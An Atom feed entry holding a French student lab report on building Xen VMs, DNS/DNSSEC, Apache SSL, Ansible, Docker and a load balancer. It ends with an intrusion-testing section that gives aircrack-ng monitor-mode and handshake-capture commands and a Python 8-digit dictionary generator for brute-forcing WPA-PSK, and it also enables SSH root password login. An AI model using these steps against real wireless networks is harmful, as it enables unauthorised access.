<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Zbriois</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Zbriois"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Zbriois"/>
		<updated>2026-04-25T10:48:53Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=52199</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=52199"/>
				<updated>2020-01-30T14:01:17Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Tests d’intrusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Introduction==&lt;br /&gt;
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.chlamydiae.site.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
[[Fichier:result_crea_docker.png|900px|center]]&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
https://www.chlamydiae.site/balancer-manager&lt;br /&gt;
&lt;br /&gt;
On obtient:&lt;br /&gt;
[[Fichier:chlamydiae_balancer_result.png|700px|center]]&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté (Ralink Technology, Corp. RT5370 Wireless Adapter):&lt;br /&gt;
  lsusb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
